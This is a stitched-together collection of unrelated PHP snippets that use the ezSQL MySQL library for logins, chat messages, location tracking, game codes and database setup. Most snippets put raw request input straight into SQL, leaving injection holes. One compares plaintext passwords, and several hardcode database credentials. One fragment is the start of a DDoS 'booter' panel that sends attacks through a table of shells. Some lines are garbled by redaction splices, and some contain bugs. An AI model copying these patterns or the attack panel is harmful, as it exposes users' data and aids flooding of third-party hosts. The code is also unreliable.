function db_Init() { // $db=new ezSQL_mysql('root','CQsPxs2VPXnmW4','Design','120.26.79.226');//阿里云 mysql $db = new ezSQL_mysql('bdm121435617', 'ftdesign2015', 'bdm121435617_db', 'bdm121435617.my3w.com'); // 万网虚拟主机 数据库 $db->query('set names UTF8'); return $db; }
/** * Perform mySQL query * * Added to the original function: logging of all queries * * @since 1.7 */ function query($query) { // Keep history of all queries $this->debug_log[] = $query; // Original function return parent::query($query); }
function getUserData($secreatCode, $token, $device) { if (isset($secreatCode)) { global $dbhost; global $dbuser; global $dbpassword; global $db; $deviceId = isset($_POST['deviceId']) ? $_POST['deviceId'] : ''; $code = explode('_', $secreatCode); $userdb = new ezSQL_mysql($dbuser, $dbpassword, $code[0], $dbhost); $query = "SELECT * FROM `user_info` WHERE `uniqueCode`= '" . $secreatCode . "'"; $result = $userdb->get_results($query, ARRAY_A); if (!empty($result)) { if ($result[0]['deviceId'] == '' && $deviceId !== '') { $updateDeviceIdQuery = "UPDATE `user_info` SET `deviceId`= '" . $deviceId . "',`token`= '" . $token . "',`devicetype`= '" . $device . "' WHERE `uniqueCode`= '" . $secreatCode . "'"; $userdb->query($updateDeviceIdQuery); $query1 = "SELECT `contactno` FROM `admin_database_info` WHERE `admindatabase`= '{$code['0']}" . "'"; $result1 = $db->get_results($query1, ARRAY_A); unset($result[0]['password']); unset($result[0]['deviceId']); $data = $result[0]; $data['admin_contactNo'] = $result1[0]['contactno']; $data['admin_jid'] = $code[0]; $final['data'] = $data; $final['status'] = TRUE; echo json_encode($final); exit; } elseif ($result[0]['deviceId'] !== '' && $result[0]['deviceId'] == $deviceId) { $query1 = "SELECT `contactno` FROM `admin_database_info` WHERE `admindatabase`= '{$code['0']}" . "'"; $result1 = $db->get_results($query1, ARRAY_A); unset($result[0]['password']); unset($result[0]['deviceId']); $data = $result[0]; $data['admin_contactNo'] = $result1[0]['contactno']; $data['admin_jid'] = $code[0]; $final['data'] = $data; $final['status'] = TRUE; echo json_encode($final); exit; } elseif ($result[0]['deviceId'] !== '' && $result[0]['deviceId'] !== $deviceId) { $data['status'] = FALSE; $data['message'] = 'This account is already registered with another device'; echo json_encode($data); exit; } else { $data['status'] = FALSE; $data['message'] = 'device id not found'; echo json_encode($data); exit; } } else { $data['status'] = FALSE; $data['message'] = 'Secret code is invalid!'; echo json_encode($data); exit; } } }
function &get_db($DB_USER, $DB_PASSWD, $DB_NAME, $DB_HOST) { global $ezsql_mysql_str; static $db; if (!isset($db)) { include_once EZSQL_LIB . "/shared/ez_sql_core.php"; include_once EZSQL_LIB . "/mysql/ez_sql_mysql.php"; $db = new ezSQL_mysql($DB_USER, $DB_PASSWD, $DB_NAME, $DB_HOST); if (!@$db->quick_connect($DB_USER, $DB_PASSWD, $DB_NAME, $DB_HOST)) { notify("無法連線資料庫,請確認資料庫相關設定正確。"); redirect("admin.php?mod=collect"); } @$db->query("SET NAMES " . CLIENT_CHARSET); } return $db; }
// query db for user table if (!$my_tables) { // We have no tables, better create some.... /** TABLE DEF: id = unique user id tw_at = Twitter Access Token tw_sec = Twitter Secret Token tw_account = Array of account info we want/store from Twitter rs_wh = Rack Space Web Hook (Secret Token) rs_account = Array of account info we want/store from Rack Space **/ $db->query("CREATE TABLE IF NOT EXISTS user (id int(50) NOT NULL auto_increment, tw_at varchar(100), tw_sec varchar(100), tw_account TEXT, rs_wh varchar(256), rs_account TEXT,KEY id (id)) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=4954 ;"); $my_tables = $db->get_results("SHOW TABLES LIKE '%user%'", ARRAY_N); if ($my_tables) { echo "<h2>Table created</h2>"; $debug = true; } else { die("Euston, We have a problem.... failed to create user table"); } } $my_tables = $db->get_results("SHOW TABLES LIKE '%alarms%'", ARRAY_N); // query db for user table if (!$my_tables) { // We have no tables, better create some.... /** TABLE DEF:
/** * Initialize Database * * @return object */ function init_database() { $ezSQL = new ezSQL_mysql(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST); $ezSQL->query("SET NAMES 'utf8'"); return $ezSQL; }
<?php require_once 'lib/ez_sql_core.php'; require_once 'lib/ez_sql_mysql.php'; $data = serialize($_POST['item']); $db = new ezSQL_mysql('root', '', 'jvs_tutoriales'); $db->query("UPDATE opciones SET menu = '{$data}' WHERE id_opcion = '1'");
if ($_SERVER["HTTP_HOST"] == "test03.tmp0230.ml" || $_SERVER["HTTP_HOST"] == "test03.vlan") { define('PATCHPATH', EXTRAPATH . 'patch4mall/'); require_once COMMONPATH . 'init.php'; require_once PATCHPATH . 'patch.php'; //$mydb = new ezSQL_mysql(MYDB_USER, MYDB_PASSWORD, MYDB_NAME, MYDB_HOST); $mydb = new ezSQL_mysql('root', 'root', 'db_test_extra3', 'localhost'); Toro::serve(array("/hello" => "HelloHandler", "/api/picasa/(.*)" => "ApiPicasaHandler", "/tpl/admin/(.*)" => "TplAdminHandler", "/tpl/test/(.*)" => "TplTestHandler", "/api/data/(.*)" => "ApiDataHandler", "/(.*)" => "DefaultHandler")); } else { if ($_SERVER["HTTP_HOST"] == "test04.tmp0230.ml" || $_SERVER["HTTP_HOST"] == "test04.vlan") { define('PATCHPATH', EXTRAPATH . 'patch4mall-2/'); require_once COMMONPATH . 'init.php'; require_once PATCHPATH . 'patch.php'; //$mydb = new ezSQL_mysql(MYDB_USER, MYDB_PASSWORD, MYDB_NAME, MYDB_HOST); $mydb = new ezSQL_mysql('root', 'root', 'db_test_extra4', 'localhost'); Toro::serve(array("/hello" => "HelloHandler", "/api/picasa/(.*)" => "ApiPicasaHandler", "/tpl/admin/(.*)" => "TplAdminHandler", "/tpl/test/(.*)" => "TplTestHandler", "/api/data/(.*)" => "ApiDataHandler", "/(.*)" => "DefaultHandler")); } } } } //d($_SERVER["HTTP_HOST"]); // patch for character seting in ezSQL ----20150814 $mydb->query("SET NAMES 'utf8'"); // patch , for fix the bug tha wordpress cannot been require in functions ----20150715 if ($wp_flag) { require_once "wp-index.php"; } //echo $wp_flag; // patch end ?>
function db() { $db = new ezSQL_mysql('root', '163888', 'phoenix', '127.0.0.1'); $db->query("SET CHARACTER SET `utf8`"); return $db; }
function query($query) { if ($this->slavedb == null || preg_match("/^(set|insert|deleteJob|update|replace)\\s+/i", $query)) { return parent::query($query); } else { return $this->slavedb->query($query); } }
$xml = simplexml_load_string($_POST['values'], "SimpleXMLElement", LIBXML_NOCDATA); $json = json_encode($xml); $array = json_decode($json, TRUE); if (isset($array['body']) && $array['body'] != '') { global $dbhost; global $dbuser; global $dbpassword; $to = $array['@attributes']['to']; $toArray = explode('@', $to); $database = strtoupper($toArray[0]); $adminDb = new ezSQL_mysql($dbuser, $dbpassword, $database, $dbhost); $data = json_decode($array['body'], TRUE); if (!is_null($data) && $data['email'] !== '' && $data['latitude'] !== '' && $data['longitude'] !== '' && $data['locationtime'] !== '') { try { $qry = "INSERT into `user_tracking_info` (`email`,`latitude`, `longitude`, `locationtime`, `timestamp`) \n\t\tVALUES ('" . $data['email'] . "','" . $data['latitude'] . "','" . $data['longitude'] . "','" . $data['locationtime'] . "','" . date('Y-m-d H:i:s') . "')"; $adminDb->query($qry); $result['status'] = TRUE; $result['message'] = 'Location sucessfully inserted'; echo json_encode($result); exit; } catch (Exception $ex) { $result['status'] = FALSE; $result['message'] = $ex->getMessage(); echo json_encode($result); exit; } } else { $result['status'] = FALSE; $result['message'] = 'data is not valid'; echo json_encode($result); exit;
<?php session_start(); include_once "ez_sql_core.php"; include_once "ez_sql_mysql.php"; $flag = isset($_POST["flag"]) ? $_POST["flag"] : ""; $msg = isset($_POST["msg"]) ? $_POST["msg"] : ""; $senderid = isset($_POST["senderid"]) ? $_POST["senderid"] : ""; $receiverid = isset($_POST["receiverid"]) ? $_POST["receiverid"] : ""; $db = new ezSQL_mysql(); $curUserID = isset($_SESSION["wodeid"]) ? $_SESSION["wodeid"] : ""; $msgSender = isset($_POST["msgSender"]) ? $_POST["msgSender"] : ""; if ($flag == "sendMsg") { $sql = "insert into messageinfo(id,msgContent,msgSender,msgReceiver,msgSendTime,msgState)"; $sql .= "values(null,'{$msg}',{$senderid},{$receiverid},now(),'unread')"; $res = $db->query($sql); if (!$res) { echo "fail"; } else { echo "OK"; } die; } //get unread msg of curread user if ($flag == "getUnreadMsg") { if ($curUserID == "") { echo "need login"; die; } $sql = "select * from messageinfo where msgReceiver= {$curUserID} and msgState ='unread'"; $res = $db->get_results($sql);
<?php define('DB_USER', ''); define('DB_PASSWORD', ''); define('DB_NAME', ''); define('DB_HOST', 'localhost'); define('PLAYERS_TABLE', 'sauer_players'); require_once 'ez_sql_core.php'; require_once 'ez_sql_mysql.php'; $db = new ezSQL_mysql(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST); $name = $db->escape($_GET['name']); $ip = $db->escape($_GET['ip']); $row = $db->get_row("SELECT * FROM `" . PLAYERS_TABLE . "` WHERE `name` = '{$name}' AND `ip` = '{$ip}'"); if ($row) { $db->query("UPDATE `" . PLAYERS_TABLE . "` SET `last_connect` = NOW(), `connects` = '" . ($row->connects + 1) . "' WHERE `id` = '{$row->id}'"); } else { $db->query("INSERT INTO `" . PLAYERS_TABLE . "` (`name`, `ip`, `first_connect`, `last_connect`, `connects`) VALUES('{$name}', '{$ip}', NOW(), NOW(), 1)"); } echo "Done.";
<?php include_once "core.php"; include_once "mysql.php"; $db = new ezSQL_mysql('root', '', 'momocuppy', '127.0.0.1'); $db->query("SET NAMES 'utf8'"); $db->query("SET CHARACTER SET 'utf8'");
//检测是否发来“系统消息” if ($flag == "checkSysmsg") { $sql = "select * from messageinfo where msgReceiveId = " . $userId . " and readFlag = 'unread' and msgContent like 'msg_%|%'"; $result = $db_msg->get_results($sql); if ($result) { echo json_encode($result); die; } else { die; } } //将处理过的“系统消息”改为已读 if ($flag == "hasreadSysmsg") { if ($msgFlag != "msg_talk") { $sql = "update messageinfo set readFlag = 'hasread' where id = " . $msgId . ""; $result = $db_msg->query($sql); if ($result) { echo "success"; } else { echo "fail"; } } die; } //“系统消息”(普通聊天消息) if ($flag == "hasreadSysmsgtalk") { //将msg_talk|XXX 改为hasread|msg_talk|XXX $sql = "update messageinfo set msgContent = concat('hasread|',msgContent) "; $sql .= "where msgSendId = " . $msgSendId . " and msgReceiveId =" . $msgReceiveId . " "; $sql .= "and readFlag = 'unread' and msgContent like 'msg_talk|%'"; $result = $db_msg->query($sql);
getip(); } } </script> <?php set_time_limit(10); ignore_user_abort(TRUE); include 'lib/EpiCurl.php'; require "lib/ezSQLCore.php"; require "lib/ezSQL.php"; if (isset($_GET['host']) && isset($_GET['time']) && isset($_GET['port'])) { $SQL = new ezSQL_mysql(); $SQL->connect(DB_USER, DB_PASS); $SQL->select(DB_DATABASE); $Query = "SELECT * FROM `getshells`"; $AffectedRows = $SQL->query($Query); $host = $_GET['host']; $time = intval($_GET['time']); $port = intval($_GET['port']); $mc = EpiCurl::getInstance(); $ch = array(); if ($time >= 121) { die("<hr>You cannot issue attacks exceeding 120 seconds."); } if ($host == "") { die("<center><strong><font color=\"red\">Sorry, but you must fill in all fields.</font></center></strong>"); } if ($time == "") { die("<center><strong><font color=\"red\">Sorry, but you must fill in all fields.</font></center></strong>"); } if ($port == "") {
$userid = isset($_POST["userid"]) ? $_POST["userid"] : ""; $userpwd = isset($_POST["userpwd"]) ? $_POST["userpwd"] : ""; //验证登录 if ($flag == "checkUser") { if ($userid != "" && $userpwd != "") { $db = new ezSQL_mysql(); $sql = "select * from userinfo where id='" . $userid . "' and userpwd='" . $userpwd . "'"; $res = $db->get_row($sql); if (!$res) { echo "fail"; } else { //echo "success"; $_SESSION["curuserid"] = $userid; $_SESSION["curusername"] = $res->userNickname; $changeloginsql = "UPDATE userinfo SET userState = '在线' WHERE id = '" . $userid . "'"; $db->query($changeloginsql); header("location:../index.php?username="******"sendMsg") { $sql = "INSERT INTO messageinfo(msgContent,msgSender,msgReceiver) VALUES('{$chatMsg}', '{$curuserid}', '{$receiverId}')"; $res = $db->query($sql); if ($res) { echo "ok"; } else { echo "fail"; } die;
$game = "兵锋王座"; } if ('' == $room) { $room = "兵者之心"; } $result["ret"] = "0"; $result["game"] = $game; $result["room"] = $room; $result["value"] = $value; $codes = array(); for ($i = 0; $i < $amount; $i++) { $code = genCode(); $var = $db->get_var("SELECT count(*) FROM goldcode where code='{$code}'"); if (0 == $var) { $codes[$i] = $code; $db->query("INSERT INTO goldcode (code,value,game,room) VALUES ('{$code}','{$value}','{$game}','{$room}')"); } else { $i--; } } $result["codes"] = $codes; } else { if ($act = "usecode") { $row = $db->get_row("SELECT `code`,`value` FROM goldcode where " . " `code`='{$code}' and `valid`=1 and `game`='{$game}' and `room`='{$room}'"); if (null != $row) { $result["ret"] = "0"; $result["game"] = $game; $result["room"] = $room; $result["value"] = $row["value"]; $db->query("UPDATE goldcode set `user` ='{$user}',`usetime`='',`valid`=0 WHERE `code`='{$code}'"); } else {
function setTrackingUpdate($usr) { global $dbhost; global $dbpassword; global $dbuser; $currentDate = date('Y-m-d H:i:s'); foreach ($usr as $value) { if (strtotime($value['trackEnd']) < strtotime($currentDate)) { $dbDetalis = explode('_', $value['uniqueCode']); $dbUser = new ezSQL_mysql($dbuser, $dbpassword, $dbDetalis[0], $dbhost); $trackingStatus = 'UPDATE `user_info` SET `cronTrackStatus` = 0 WHERE `uniqueCode` = "' . $value['uniqueCode'] . '"'; $dbUser->query($trackingStatus); unset($dbUser); } } return TRUE; }
<?php session_start(); require "ez_sql_core.php"; require "ez_sql_mysql.php"; $db_user = "******"; $db_pass = ""; $db_name = "bitcs"; $db_host = "localhost"; $db = new ezSQL_mysql($db_user, $db_pass, $db_name, $db_host); $db->query("SET NAMES 'utf8'"); $db->query("SET CHARACTER SET 'utf8'"); $db->query("SET COLLATION_CONNECTION='utf8_turkish_ci'");